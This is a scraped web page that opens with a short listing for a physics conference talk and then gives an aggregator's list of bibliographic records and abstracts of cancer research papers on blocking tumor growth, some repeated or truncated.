# Implications of a SM like Higgs for a natural NMSSM with low cutoff Date 2012-05-30 00:00 Event Planck 2012 Location Warsaw, Poland ##### Dr Michael A Schmidt ###### Senior Lecturer of Theoretical Particle Physics My research interests include neutrino physics, dark matter, flavour physics and in general physics beyond the Standard Model.
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https://worldwidescience.org/topicpages/b/block+tumor+growth.html
#### Sample records for block tumor growth 1. Emodin Inhibits Breast Cancer Growth by Blocking the Tumor-Promoting Feedforward Loop between Cancer Cells and Macrophages. Science.gov (United States) Iwanowycz, Stephen; Wang, Junfeng; Hodge, Johnie; Wang, Yuzhen; Yu, Fang; Fan, Daping 2016-08-01 Macrophage infiltration correlates with severity in many types of cancer. Tumor cells recruit macrophages and educate them to adopt an M2-like phenotype through the secretion of chemokines and growth factors, such as MCP1 and CSF1. Macrophages in turn promote tumor growth through supporting angiogenesis, suppressing antitumor immunity, modulating extracellular matrix remodeling, and promoting tumor cell migration. Thus, tumor cells and macrophages interact to create a feedforward loop supporting tumor growth and metastasis. In this study, we tested the ability of emodin, a Chinese herb-derived compound, to inhibit breast cancer growth in mice and examined the underlying mechanisms. Emodin was used to treat mice bearing EO771 or 4T1 breast tumors. It was shown that emodin attenuated tumor growth by inhibiting macrophage infiltration and M2-like polarization, accompanied by increased T-cell activation and reduced angiogenesis in tumors. The tumor inhibitory effects of emodin were lost in tumor-bearing mice with macrophage depletion. Emodin inhibited IRF4, STAT6, and C/EBPβ signaling and increased inhibitory histone H3 lysine 27 tri-methylation (H3K27m3) on the promoters of M2-related genes in tumor-associated macrophages. In addition, emodin inhibited tumor cell secretion of MCP1 and CSF1, as well as expression of surface anchoring molecule Thy-1, thus suppressing macrophage migration toward and adhesion to tumor cells. These results suggest that emodin acts on both breast cancer cells and macrophages and effectively blocks the tumor-promoting feedforward loop between the two cell types, thereby inhibiting breast cancer growth and metastasis. Mol Cancer Ther; 15(8); 1931-42. ©2016 AACR. PMID:27196773 2. Blocking tumor growth by targeting autophagy and SQSTM1 in vivo. Science.gov (United States) Wei, Huijun; Guan, Jun-Lin 2015-01-01 Autophagy is a highly conserved cellular process for degradation of bulk cytoplasmic materials in response to starvation and maintenance of cellular homeostasis. Dysfunction of autophagy is implicated in a variety of diseases including cancer. In a recent study, we devised a system for inducible deletion of an essential autophagy gene Rb1cc1/Fip200 in established tumor cells in vivo and showed that Rb1cc1 is required for maintaining tumor growth. We further investigated the role of the accumulated SQSTM1 in Rb1cc1-null autophagy-deficient tumor cells. To our surprise, the increased SQSTM1 was not responsible for the inhibition of tumor growth, but rather supported the residual growth of tumors (i.e., partially compensated for the defective growth caused by Rb1cc1 deletion). Further analysis indicated that SQSTM1 promoted tumor growth in autophagy-deficient cells at least partially through its activation of the NFKB signaling pathway. A working model is proposed to account for our findings, which suggest that targeting both autophagy and the consequently increased SQSTM1 may be exploited for developing more effective cancer therapies. 3. Small interfering RNA targeted to secretory clusterin blocks tumor growth, motility, and invasion in breast cancer Institute of Scientific and Technical Information of China (English) Zhaohe Niu; Xinhui Li; Bin Hu; Rong Li; Ligang Wang; Lilin Wu; Xingang Wang 2012-01-01 Clusterin/apolipoprotein J (Clu) is a ubiquitously expressed secreted heterodimeric glycoprotein that is implicated in several physiological processes.It has been reported that the elevated level of secreted clusterin (sClu) protein is associated with poor survival in breast cancer patients and can induce metastasis in rodent models.In this study,we investigated the effects of sClu inhibition with small interfering RNAs (siRNAs) on cell motility,invasion,and growth in vitro and in vivo.MDA-MB-231 cells were transfected with pSuper-siRNA/sClu.Cell survival and proliferation were examined by 3-(4,5-dimethyl-thiazol-2yl)-5-(3-carboxymethoxyphenyl)-2-(4-sulfophenyl)-2H-tetrazolium and clonogenic survival assay.The results showed that sClu silencing significantly inhibited the proliferation of MDA-MB-231 cells.The invasion and migration ability were also dramatically decreased,which was detected by matrigel assays.TUNEL staining and caspase-3 activity assay demonstrated that sClu silencing also could increase the apoptosis rate of cells,resulting in the inhibition of cell growth.We also determined the effects of sClu silencing on tumor growth and metastatic progression in an orthotopic breast cancer model.The results showed that orthotopic primary tumors derived from MDA-MB-231/pSuper sClu siRNA cells grew significantly slower than tumors derived from parental MDA-MB-231 or MDA-MB-231/pSuper scramble siRNA cells,and metastasize less to the lungs.These data suggest that secretory clusterin plays a significant role in tumor growth and metastatic progression.Knocking-down sClu gene expression may provide a valuable method for breast cancer therapy. 4. Oridonin inhibits tumor growth and metastasis through anti-angiogenesis by blocking the Notch signaling. Directory of Open Access Journals (Sweden) Yanmin Dong Full Text Available While significant progress has been made in understanding the anti-inflammatory and anti-proliferative effects of the natural diterpenoid component Oridonin on tumor cells, little is known about its effect on tumor angiogenesis or metastasis and on the underlying molecular mechanisms. In this study, Oridonin significantly suppressed human umbilical vascular endothelial cells (HUVECs proliferation, migration, and apillary-like structure formation in vitro. Using aortic ring assay and mouse corneal angiogenesis model, we found that Oridonin inhibited angiogenesis ex vivo and in vivo. In our animal experiments, Oridonin impeded tumor growth and metastasis. Immunohistochemistry analysis further revealed that the expression of CD31 and vWF protein in xenografts was remarkably decreased by the Oridonin. Furthermore, Oridonin reinforced endothelial cell-cell junction and impaired breast cancer cell transendothelial migration. Mechanistically, Oridonin not only down-regulated Jagged2 expression and Notch1 activity but also decreased the expression of their target genes. In conclusion, our results demonstrated an original role of Oridonin in inhibiting tumor angiogenesis and propose a mechanism. This study also provides new evidence supporting the central role of Notch in tumor angiogenesis and suggests that Oridonin could be a potential drug candidate for angiogenesis related diseases. 5. Efficient inhibition of tumor angiogenesis and growth by a synthetic peptide blocking S100A4-methionine aminopeptidase 2 interaction. Science.gov (United States) Ochiya, Takahiro; Takenaga, Keizo; Asagiri, Masataka; Nakano, Kazumi; Satoh, Hitoshi; Watanabe, Toshiki; Imajoh-Ohmi, Shinobu; Endo, Hideya 2015-01-01 The prometastatic calcium-binding protein, S100A4, is expressed in endothelial cells, and its downregulation markedly suppresses tumor angiogenesis in a xenograft cancer model. Given that endothelial S100A4 can be a molecular target for inhibiting tumor angiogenesis, we addressed here whether synthetic peptide capable of blocking S100A4-effector protein interaction could be a novel antiangiogenic agent. To examine this hypothesis, we focused on the S100A4-binding domain of methionine aminopeptidase 2, an effector protein, which plays a role in endothelial cell growth. Overexpression of the domain in mouse endothelial MSS31 cells reduced DNA synthesis, and the corresponding synthetic peptide (named NBD) indeed interacted with S100A4 and inhibited capillary formation in vitro and new blood vessel formation in vivo. Intriguingly, a single intra-tumor administration of the NBD peptide in human prostate cancer xenografts significantly reduced vascularity, resulting in tumor regression. Mechanistically, the NBD peptide enhanced assembly of nonmuscle myosin IIA filaments along with Ser1943 phosphorylation, stimulated formation of focal adhesions without phosphorylation of focal adhesion kinase, and provoked G1/S arrest of the cell cycle. Altogether, the NBD peptide is a potent inhibitor for tumor angiogenesis, and is the first example of an anticancer peptide drug developed on the basis of an endothelial S100A4-targeted strategy. PMID:26029719 6. A function blocking anti-mouse integrin α5β1 antibody inhibits angiogenesis and impedes tumor growth in vivo Directory of Open Access Journals (Sweden) Powers David 2007-11-01 Full Text Available Abstract Background Integrins are important adhesion molecules that regulate tumor and endothelial cell survival, proliferation and migration. The integrin α5β1 has been shown to play a critical role during angiogenesis. An inhibitor of this integrin, volociximab (M200, inhibits endothelial cell growth and movement in vitro, independent of the growth factor milieu, and inhibits tumor growth in vivo in the rabbit VX2 carcinoma model. Although volociximab has already been tested in open label, pilot phase II clinical trials in melanoma, pancreatic and renal cell cancer, evaluation of the mechanism of action of volociximab has been limited because this antibody does not cross-react with murine α5β1, precluding its use in standard mouse xenograft models. Methods We generated a panel of rat-anti-mouse α5β1 antibodies, with the intent of identifying an antibody that recapitulated the properties of volociximab. Hybridoma clones were screened for analogous function to volociximab, including specificity for α5β1 heterodimer and blocking of integrin binding to fibronectin. A subset of antibodies that met these criteria were further characterized for their capacities to bind to mouse endothelial cells, inhibit cell migration and block angiogenesis in vitro. One antibody that encompassed all of these attributes, 339.1, was selected from this panel and tested in xenograft models. Results A panel of antibodies was characterized for specificity and potency. The affinity of antibody 339.1 for mouse integrin α5β1 was determined to be 0.59 nM, as measured by BIAcore. This antibody does not significantly cross-react with human integrin, however 339.1 inhibits murine endothelial cell migration and tube formation and elicits cell death in these cells (EC50 = 5.3 nM. In multiple xenograft models, 339.1 inhibited the growth of established tumors by 40–60% (p Conclusion The results herein demonstrate that 339.1, like volociximab, exhibits potent anti-α5β1 7. Efficient inhibition of tumor angiogenesis and growth by a synthetic peptide blocking S100A4-methionine aminopeptidase 2 interaction OpenAIRE Ochiya, Takahiro; Takenaga, Keizo; Asagiri, Masataka; Nakano, Kazumi; Satoh, Hitoshi; Watanabe, Toshiki; Imajoh-Ohmi, Shinobu; Endo, Hideya 2015-01-01 The prometastatic calcium-binding protein, S100A4, is expressed in endothelial cells, and its downregulation markedly suppresses tumor angiogenesis in a xenograft cancer model. Given that endothelial S100A4 can be a molecular target for inhibiting tumor angiogenesis, we addressed here whether synthetic peptide capable of blocking S100A4-effector protein interaction could be a novel antiangiogenic agent. To examine this hypothesis, we focused on the S100A4-binding domain of methionine aminopep... 8. Platycodin D inhibits tumor growth by antiangiogenic activity via blocking VEGFR2-mediated signaling pathway Energy Technology Data Exchange (ETDEWEB) Luan, Xin; Gao, Yun-Ge; Guan, Ying-Yun; Xu, Jian-Rong; Lu, Qin [Department of Pharmacology, Institute of Medical Sciences, Shanghai Jiao Tong University School of Medicine (SJTU-SM), Shanghai 200025 (China); Zhao, Mei [Department of Pharmacy, Shanghai Institute of Health Sciences and Health School Attached to SJTU-SM, 279 Zhouzhu Road, Shanghai 201318 (China); Liu, Ya-Rong; Liu, Hai-Jun [Department of Pharmacology, Institute of Medical Sciences, Shanghai Jiao Tong University School of Medicine (SJTU-SM), Shanghai 200025 (China); Fang, Chao, E-mail: fangchao100@hotmail.com [Department of Pharmacology, Institute of Medical Sciences, Shanghai Jiao Tong University School of Medicine (SJTU-SM), Shanghai 200025 (China); Chen, Hong-Zhuan, E-mail: hongzhuan_chen@hotmail.com [Department of Pharmacology, Institute of Medical Sciences, Shanghai Jiao Tong University School of Medicine (SJTU-SM), Shanghai 200025 (China) 2014-11-15 Platycodin D (PD) is an active component mainly isolated from the root of Platycodon grandiflorum. Recent studies proved that PD exhibited inhibitory effect on proliferation, migration, invasion and xenograft growth of diverse cancer cell lines. However, whether PD is suppressive for angiogenesis, an important hallmark in cancer development, remains unknown. Here, we found that PD could dose-dependently inhibit human umbilical vein endothelial cell (HUVEC) proliferation, motility, migration and tube formation. PD also significantly inhibited angiogenesis in the chick embryo chorioallantoic membrane (CAM). Moreover, the antiangiogenic activity of PD contributed to its in vivo anticancer potency shown in the decreased microvessel density and delayed growth of HCT-15 xenograft in mice with no overt toxicity. Western blot analysis indicated that PD inhibited the phosphorylation of VEGFR2 and its downstream protein kinase including PLCγ1, JAK2, FAK, Src, and Akt in endothelial cells. Molecular docking simulation showed that PD formed hydrogen bonds and hydrophobic interactions within the ATP binding pocket of VEGFR2 kinase domain. The present study firstly revealed the high antiangiogenic activity and the underlying molecular basis of PD, suggesting that PD may be a potential antiangiogenic agent for angiogenesis-related diseases. - Highlights: • Platycodin D inhibits HUVEC proliferation, motility, migration and tube formation. • Platycodin D inhibits the angiogenesis in chick embryo chorioallantoic membrane. • Platycodin D suppresses the angiogenesis and growth of HCT-15 xenograft in mice. • Platycodin D inhibits the phosphorylation of VEGFR2 and downstream kinases in HUVEC. 9. Peripheral opioid antagonist enhances the effect of anti-tumor drug by blocking a cell growth-suppressive pathway in vivo. Directory of Open Access Journals (Sweden) Masami Suzuki Full Text Available The dormancy of tumor cells is a major problem in chemotherapy, since it limits the therapeutic efficacy of anti-tumor drugs that only target dividing cells. One potential way to overcome chemo-resistance is to "wake up" these dormant cells. Here we show that the opioid antagonist methylnaltrexone (MNTX enhances the effect of docetaxel (Doc by blocking a cell growth-suppressive pathway. We found that PENK, which encodes opioid growth factor (OGF and suppresses cell growth, is predominantly expressed in diffuse-type gastric cancers (GCs. The blockade of OGF signaling by MNTX releases cells from their arrest and boosts the effect of Doc. In comparison with the use of Doc alone, the combined use of Doc and MNTX significantly prolongs survival, alleviates abdominal pain, and diminishes Doc-resistant spheroids on the peritoneal membrane in model mice. These results suggest that blockade of the pathways that suppress cell growth may enhance the effects of anti-tumor drugs. 10. Spice Blocks Melanoma Growth Science.gov (United States) Science Teacher, 2005 2005-01-01 Curcumin, the pungent yellow spice found in both turmeric and curry powders, blocks a key biological pathway needed for development of melanoma and other cancers, according to a study that appears in the journal Cancer. Researchers from The University of Texas M. D. Anderson Cancer Center demonstrate how curcumin stops laboratory strains of… 11. Combined Inhibition of Cyclin-Dependent Kinases (Dinaciclib) and AKT (MK-2206) Blocks Pancreatic Tumor Growth and Metastases in Patient-Derived Xenograft Models. Science.gov (United States) Hu, Chaoxin; Dadon, Tikva; Chenna, Venugopal; Yabuuchi, Shinichi; Bannerji, Rajat; Booher, Robert; Strack, Peter; Azad, Nilofer; Nelkin, Barry D; Maitra, Anirban 2015-07-01 KRAS is activated by mutation in the vast majority of cases of pancreatic cancer; unfortunately, therapeutic attempts to inhibit KRAS directly have been unsuccessful. Our previous studies showed that inhibition of cyclin-dependent kinase 5 (CDK5) reduces pancreatic cancer growth and progression, through blockage of the centrally important RAL effector pathway, downstream of KRAS. In the current study, the therapeutic effects of combining the CDK inhibitor dinaciclib (SCH727965; MK-7965) with the pan-AKT inhibitor MK-2206 were evaluated using orthotopic and subcutaneous patient-derived human pancreatic cancer xenograft models. The combination of dinaciclib (20 mg/kg, i.p., three times a week) and MK-2206 (60 mg/kg, orally, three times a week) dramatically blocked tumor growth and metastasis in all eight pancreatic cancer models examined. Remarkably, several complete responses were induced by the combination treatment of dinaciclib and MK-2206. The striking results obtained in these models demonstrate that the combination of dinaciclib with the pan-AKT inhibitor MK-2206 is promising for therapeutic evaluation in pancreatic cancer, and strongly suggest that blocking RAL in combination with other effector pathways downstream from KRAS may provide increased efficacy in pancreatic cancer. Based on these data, an NCI-CTEP-approved multicenter phase I clinical trial for pancreatic cancer of the combination of dinaciclib and MK-2206 (NCT01783171) has now been opened. PMID:25931518 12. Metformin selectively targets cancer stem cells, and acts together with chemotherapy to block tumor growth and prolong remission OpenAIRE Hirsch, Heather A; Iliopoulos, Dimitrios; Tsichlis, Philip N.; Struhl, Kevin 2009-01-01 The cancer stem cell hypothesis suggests that, unlike most cancer cells within a tumor, cancer stem cells resist chemotherapeutic drugs and can regenerate the various cell types in the tumor, thereby causing relapse of the disease. Thus, drugs that selectively target cancer stem cells offer great promise for cancer treatment, particularly in combination with chemotherapy. Here, we show that low doses of metformin, a standard drug for diabetes, inhibits cellular transformation and selectively ... 13. The inhibition of angiogenesis and tumor growth by denbinobin is associated with the blocking of insulin-like growth factor-1 receptor signaling. Science.gov (United States) Tsai, An-Chi; Pan, Shiow-Lin; Lai, Chin-Yu; Wang, Chih-Ya; Chen, Chien-Chih; Shen, Chien-Chang; Teng, Che-Ming 2011-07-01 Denbinobin, which is a phenanthraquinone derivative present in the stems of Ephemerantha lonchophylla, has been demonstrated to display antitumor activity. Recent reports suggest that the enhanced activity of insulin-like growth factor-1 receptor (IGF-1R) is closely associated with tumor angiogenesis and growth. This study aims at investigating the roles of denbinobin in suppressing these effects and at further elucidating the underlying molecular mechanisms. In the present study, we used an in vivo xenograft model antitumor and the Matrigel implant assays to show that denbinobin suppresses lung adenocarcinoma A549 growth and microvessel formation. Additionally, crystal violet and capillary-like tube formation assays indicated that denbinobin selectively inhibits insulin-like growth factor-1 (IGF-1)-induced proliferation (GI50=1.3×10⁻⁸ M) and tube formation of human umbilical vascular endothelial cells (HUVECs) without influencing the effect of epidermal growth factor; vascular endothelial growth factor and basic fibroblast growth factor. Furthermore, denbinobin inhibited the IGF-1-induced migration of HUVECs in a concentration-dependent fashion. Western blotting and immunoprecipitation demonstrated that denbinobin causes more efficient inhibition of IGF-1-induced activation of IGF-1R and its downstream signaling targets, including , extracellular signal-regulated kinase, Akt, mTOR, p70S6K, 4EBP and cyclin D1. All of our results provide evidences that denbinobin suppresses the activation of IGF-1R and its downstream signaling pathway, which leads to the inhibition of angiogenesis. Our findings suggest that denbinobin may be a novel IGF-1R kinase inhibitor and has potential therapeutic abilities for angiogenesis-related diseases such as cancer. PMID:20951021 14. Insulin/insulin like growth factors in cancer: new roles for the aryl hydrocarbon receptor, tumor resistance mechanisms and new blocking strategies Directory of Open Access Journals (Sweden) Travis B Salisbury 2015-02-01 Full Text Available The insulin-like growth factor 1 receptor (IGF1R and the insulin receptor (IR are receptor tyrosine kinases (RTKs that are expressed in cancer cells. The results of different studies indicate that tumor proliferation and survival is dependent on the IGF1R and IR, and that their inhibition leads to reductions in proliferation and increases in cell death. Molecular targeting therapies that have been used in solid tumors include: anti-IGF1R antibodies, anti-IGF1/IGF2 antibodies and small molecule inhibitors that suppress IGF1R and IR kinase activity. New advances in the molecular basis of anti-IGF1R blocking antibodies reveal they are biased agonists and promote the binding of IGF1 to integrin β3 receptors in some cancer cells. Our recent reports indicate that pharmacological aryl hydrocarbon receptor (AHR ligands inhibit breast cancer cell responses to IGFs, suggesting that targeting AHR may have benefit in cancers whose proliferation and survival are dependent on insulin/IGF signaling. Novel aspects of IGF1R/IR in cancer, such as biased agonism, integrin β3 signaling, AHR and new therapeutic targeting strategies will be discussed. 15. CRM-1 knockdown inhibits extrahepatic cholangiocarcinoma tumor growth by blocking the nuclear export of p27Kip1. Science.gov (United States) Luo, Jian; Chen, Yongjun; Li, Qiang; Wang, Bing; Zhou, Yanqiong; Lan, Hongzhen 2016-08-01 Cholangiocarcinoma is a deadly disease which responds poorly to surgery and conventional chemotherapy or radiotherapy. Early diagnosis is difficult due to the anatomical and biological characteristics of cholangiocarcinoma. Cyclin-dependent kinase inhibitor 1B (p27Kip1) is a cyclin‑dependent kinase inhibitor and in the present study, we found that p27Kip1 expression was suppressed in the nucleus and increased in the cytoplasm in 53 samples of cholangiocarcinoma from patients with highly malignant tumors (poorly-differentiated and tumor-node-metastsis (TNM) stage III-IV) compared with that in samples from 10 patients with chronic cholangitis. The expression of phosphorylated (p-)p27Kip1 (Ser10), one of the phosphorylated forms of p27Kip1, was increased in the patient samples with increasing malignancy and clinical stage. Coincidentally, chromosome region maintenance 1 (CRM-1; also referred to as exportin 1 or Xpo1), a critical protein responsible for protein translocation from the nucleus to the cytoplasm, was also overexpressed in the tumor samples which were poorly differentiated and of a higher clinical stage. Through specific short hairpin RNA (shRNA)-mediated knockdown of CRM-1 in the cholangiocarcinoma cell line QBC939, we identified an elevation of cytoplasmic p27Kip1 and a decrease of nuclear p27Kip1. Furthermore, the viability and colony formation ability of QBC939 cells was largely reduced with G1 arrest. Consistent with the findings of the in vitro experiments, in a xenograft mouse model, the tumors formed in the CRM-1 knockdown group were markedly smaller and weighed less than those in the control group in vivo. Taken together, these findings demonstrated that the interplay between CRM-1 and p27Kip1 may provide potentially potent biomarkers and functional targets for the development of future cholangiocarcinoma treatments. PMID:27279267 16. CRM-1 knockdown inhibits extrahepatic cholangiocarcinoma tumor growth by blocking the nuclear export of p27Kip1. Science.gov (United States) Luo, Jian; Chen, Yongjun; Li, Qiang; Wang, Bing; Zhou, Yanqiong; Lan, Hongzhen 2016-08-01 Cholangiocarcinoma is a deadly disease which responds poorly to surgery and conventional chemotherapy or radiotherapy. Early diagnosis is difficult due to the anatomical and biological characteristics of cholangiocarcinoma. Cyclin-dependent kinase inhibitor 1B (p27Kip1) is a cyclin‑dependent kinase inhibitor and in the present study, we found that p27Kip1 expression was suppressed in the nucleus and increased in the cytoplasm in 53 samples of cholangiocarcinoma from patients with highly malignant tumors (poorly-differentiated and tumor-node-metastsis (TNM) stage III-IV) compared with that in samples from 10 patients with chronic cholangitis. The expression of phosphorylated (p-)p27Kip1 (Ser10), one of the phosphorylated forms of p27Kip1, was increased in the patient samples with increasing malignancy and clinical stage. Coincidentally, chromosome region maintenance 1 (CRM-1; also referred to as exportin 1 or Xpo1), a critical protein responsible for protein translocation from the nucleus to the cytoplasm, was also overexpressed in the tumor samples which were poorly differentiated and of a higher clinical stage. Through specific short hairpin RNA (shRNA)-mediated knockdown of CRM-1 in the cholangiocarcinoma cell line QBC939, we identified an elevation of cytoplasmic p27Kip1 and a decrease of nuclear p27Kip1. Furthermore, the viability and colony formation ability of QBC939 cells was largely reduced with G1 arrest. Consistent with the findings of the in vitro experiments, in a xenograft mouse model, the tumors formed in the CRM-1 knockdown group were markedly smaller and weighed less than those in the control group in vivo. Taken together, these findings demonstrated that the interplay between CRM-1 and p27Kip1 may provide potentially potent biomarkers and functional targets for the development of future cholangiocarcinoma treatments. 17. Growth factors in tumor microenvironment OpenAIRE Zhang, Xuejing; Nie, Daotai; Chakrabarty, Subhas 2010-01-01 Tumor microenvironment plays a critical role in tumor initiation and progression. Components in the microenvironment can modulate the growth of tumor cells, their ability to progress and metastasize. A major venue of communication between tumor cells and their microenvironment is through polypeptide growth factors and receptors for these growth factors. This article discusses three major classes of growth-stimulatory polypeptide growth factors and receptors for these growth factors. It also d... 18. Targeted inhibition of tumor growth and angiogenesis NARCIS (Netherlands) van der Meel, R. 2013-01-01 Two main strategies have been pursued for the development of an effective and targeted anti-cancer treatment. The first strategy comprised the generation of a targeted nanomedicine for the inhibition of tumor cell proliferation by blocking growth factor receptor pathways. The epidermal growth factor 19. Inhibition of tumor growth by targeted anti-EGFR/IGF-1R Nanobullets depends on efficient blocking of cell survival pathways NARCIS (Netherlands) Meel, van der Roy; Oliveira, Sabrina; Altintas, Isil; Heukers, Raimond; Pieters, Ebel H.E.; Bergen en Henegouwen, van Paul M.P.; Storm, Gert; Hennink, Wim E.; Kok, Robbert J.; Schiffelers, Raymond M. 2013-01-01 The clinical efficacy of epidermal growth factor receptor (EGFR)-targeted inhibitors is limited due to resistance mechanisms of the tumor such as activation of compensatory pathways. Crosstalk between EGFR and insulin-like growth factor 1 (IGF-1R) signaling has been frequently described to be involv 20. Epstein-Barr Virus-Induced Gene 3 (EBI3) Blocking Leads to Induce Antitumor Cytotoxic T Lymphocyte Response and Suppress Tumor Growth in Colorectal Cancer by Bidirectional Reciprocal-Regulation STAT3 Signaling Pathway Science.gov (United States) Liang, Yanfang; Chen, Qianqian; Du, Wenjing; Chen, Can; Li, Feifei; Yang, Jingying; Peng, Jianyu; Kang, Dongping; Lin, Bihua; Chai, Xingxing; Zhou, Keyuan; Zeng, Jincheng 2016-01-01 Epstein-Barr virus-induced gene 3 (EBI3) is a member of the interleukin-12 (IL-12) family structural subunit and can form a heterodimer with IL-27p28 and IL-12p35 subunit to build IL-27 and IL-35, respectively. However, IL-27 stimulates whereas IL-35 inhibits antitumor T cell responses. To date, little is known about the role of EBI3 in tumor microenvironment. In this study, firstly we assessed EBI3, IL-27p28, IL-12p35, gp130, and p-STAT3 expression with clinicopathological parameters of colorectal cancer (CRC) tissues; then we evaluated the antitumor T cell responses and tumor growth with a EBI3 blocking peptide. We found that elevated EBI3 may be associated with IL-12p35, gp130, and p-STAT3 to promote CRC progression. EBI3 blocking peptide promoted antitumor cytotoxic T lymphocyte (CTL) response by inducing Granzyme B, IFN-γ production, and p-STAT3 expression and inhibited CRC cell proliferation and tumor growth to associate with suppressing gp130 and p-STAT3 expression. Taken together, these results suggest that EBI3 may mediate a bidirectional reciprocal-regulation STAT3 signaling pathway to assist the tumor escape immune surveillance in CRC. PMID:27247488 1. AZD9496: An Oral Estrogen Receptor Inhibitor That Blocks the Growth of ER-Positive and ESR1-Mutant Breast Tumors in Preclinical Models. Science.gov (United States) Weir, Hazel M; Bradbury, Robert H; Lawson, Mandy; Rabow, Alfred A; Buttar, David; Callis, Rowena J; Curwen, Jon O; de Almeida, Camila; Ballard, Peter; Hulse, Michael; Donald, Craig S; Feron, Lyman J L; Karoutchi, Galith; MacFaul, Philip; Moss, Thomas; Norman, Richard A; Pearson, Stuart E; Tonge, Michael; Davies, Gareth; Walker, Graeme E; Wilson, Zena; Rowlinson, Rachel; Powell, Steve; Sadler, Claire; Richmond, Graham; Ladd, Brendon; Pazolli, Ermira; Mazzola, Anne Marie; D'Cruz, Celina; De Savi, Chris 2016-06-01 Fulvestrant is an estrogen receptor (ER) antagonist administered to breast cancer patients by monthly intramuscular injection. Given its present limitations of dosing and route of administration, a more flexible orally available compound has been sought to pursue the potential benefits of this drug in patients with advanced metastatic disease. Here we report the identification and characterization of AZD9496, a nonsteroidal small-molecule inhibitor of ERα, which is a potent and selective antagonist and downregulator of ERα in vitro and in vivo in ER-positive models of breast cancer. Significant tumor growth inhibition was observed as low as 0.5 mg/kg dose in the estrogen-dependent MCF-7 xenograft model, where this effect was accompanied by a dose-dependent decrease in PR protein levels, demonstrating potent antagonist activity. Combining AZD9496 with PI3K pathway and CDK4/6 inhibitors led to further growth-inhibitory effects compared with monotherapy alone. Tumor regressions were also seen in a long-term estrogen-deprived breast model, where significant downregulation of ERα protein was observed. AZD9496 bound and downregulated clinically relevant ESR1 mutants in vitro and inhibited tumor growth in an ESR1-mutant patient-derived xenograft model that included a D538G mutation. Collectively, the pharmacologic evidence showed that AZD9496 is an oral, nonsteroidal, selective estrogen receptor antagonist and downregulator in ER(+) breast cells that could provide meaningful benefit to ER(+) breast cancer patients. AZD9496 is currently being evaluated in a phase I clinical trial. Cancer Res; 76(11); 3307-18. ©2016 AACR. PMID:27020862 2. Single-chain antibody-based gene therapy: Inhibition of tumor growth by in situ production of phage-derived antibodies blocking functionally active sites of cell-associated matrices DEFF Research Database (Denmark) Sanz, Laura; Kristensen, Peter; Blanco, Belén; 2002-01-01 Experimental evidence suggests that blocking the interactions between endothelial cells and extracellular matrix (ECM) components may provide a potent and general strategy to inhibit tumor neovascularization. Based on these considerations, we have focused our efforts on laminin, component of the ... 3. Endothelial cell-derived interleukin-6 regulates tumor growth International Nuclear Information System (INIS) Endothelial cells play a complex role in the pathobiology of cancer. This role is not limited to the making of blood vessels to allow for influx of oxygen and nutrients required for the high metabolic demands of tumor cells. Indeed, it has been recently shown that tumor-associated endothelial cells secrete molecules that enhance tumor cell survival and cancer stem cell self-renewal. The hypothesis underlying this work is that specific disruption of endothelial cell-initiated signaling inhibits tumor growth. Conditioned medium from primary human dermal microvascular endothelial cells (HDMEC) stably transduced with silencing RNA for IL-6 (or controls) was used to evaluate the role of endothelial-derived IL-6 on the activation of key signaling pathways in tumor cells. In addition, these endothelial cells were co-transplanted with tumor cells into immunodefficient mice to determine the impact of endothelial cell-derived IL-6 on tumor growth and angiogenesis. We observed that tumor cells adjacent to blood vessels show strong phosphorylation of STAT3, a key mediator of tumor progression. In search for a possible mechanism for the activation of the STAT3 signaling pathway, we observed that silencing interleukin (IL)-6 in tumor-associated endothelial cells inhibited STAT3 phosphorylation in tumor cells. Notably, tumors vascularized with IL-6-silenced endothelial cells showed lower intratumoral microvessel density, lower tumor cell proliferation, and slower growth than tumors vascularized with control endothelial cells. Collectively, these results demonstrate that IL-6 secreted by endothelial cells enhance tumor growth, and suggest that cancer patients might benefit from targeted approaches that block signaling events initiated by endothelial cells 4. Image based modeling of tumor growth. Science.gov (United States) Meghdadi, N; Soltani, M; Niroomand-Oscuii, H; Ghalichi, F 2016-09-01 Tumors are a main cause of morbidity and mortality worldwide. Despite the efforts of the clinical and research communities, little has been achieved in the past decades in terms of improving the treatment of aggressive tumors. Understanding the underlying mechanism of tumor growth and evaluating the effects of different therapies are valuable steps in predicting the survival time and improving the patients' quality of life. Several studies have been devoted to tumor growth modeling at different levels to improve the clinical outcome by predicting the results of specific treatments. Recent studies have proposed patient-specific models using clinical data usually obtained from clinical images and evaluating the effects of various therapies. The aim of this review is to highlight the imaging role in tumor growth modeling and provide a worthwhile reference for biomedical and mathematical researchers with respect to tumor modeling using the clinical data to develop personalized models of tumor growth and evaluating the effect of different therapies. 5. Hyaluronan Promotes Tumor Lymphangiogenesis and Intralymphantic Tumor Growth in Xenografts Institute of Scientific and Technical Information of China (English) Li-Xia GUO; Ke ZOU; Ji-Hang JU; Hong XIE 2005-01-01 Hyaluronan (HA), a high molecular weight glycosaminoglycan in the extracellular matrix, has been implicated in the promotion of malignant phenotypes, including tumor angiogenesis. However, little is known about the effect of HA on tumor-associated lymphangiogenesis. In this study, mouse hepatocellular carcinoma Hca-F cells combined with or without HA were injected subcutaneously into C3H/Hej mice, then angiogenesis and lymphangiogenesis of implanted tumors were examined by immunostaining for plateletendothelial cell adhesion molecule-1 and lymphatic vascular endothelial hyaluronan receptor-1 respectively.Interestingly, we found HA promotes tumor lymphangiogenesis and the occurrence of intratumoral lymphatic vessels, but has little effect on tumor angiogenesis. Moreover, HA also promotes intralymphatic tumor growth, although it is not sufficient to potentiate lymphatic metastasis. These results suggest that HA,which is elevated in most malignant tumor stroma, may also play a role in tumor progression by promoting lymphangiogenesis. 6. Biochemomechanical poroelastic theory of avascular tumor growth Science.gov (United States) Xue, Shi-Lei; Li, Bo; Feng, Xi-Qiao; Gao, Huajian 2016-09-01 Tumor growth is a complex process involving genetic mutations, biochemical regulations, and mechanical deformations. In this paper, a thermodynamics-based nonlinear poroelastic theory is established to model the coupling among the mechanical, chemical, and biological mechanisms governing avascular tumor growth. A volumetric growth law accounting for mechano-chemo-biological coupled effects is proposed to describe the development of solid tumors. The regulating roles of stresses and nutrient transport in the tumor growth are revealed under different environmental constraints. We show that the mechano-chemo-biological coupling triggers anisotropic and heterogeneous growth, leading to the formation of layered structures in a growing tumor. There exists a steady state in which tumor growth is balanced by resorption. The influence of external confinements on tumor growth is also examined. A phase diagram is constructed to illustrate how the elastic modulus and thickness of the confinements jointly dictate the steady state of tumor volume. Qualitative and quantitative agreements with experimental observations indicate the developed model is capable of capturing the essential features of avascular tumor growth in various environments. 7. Tumor growth inhibition through targeting liposomally bound curcumin to tumor vasculature. 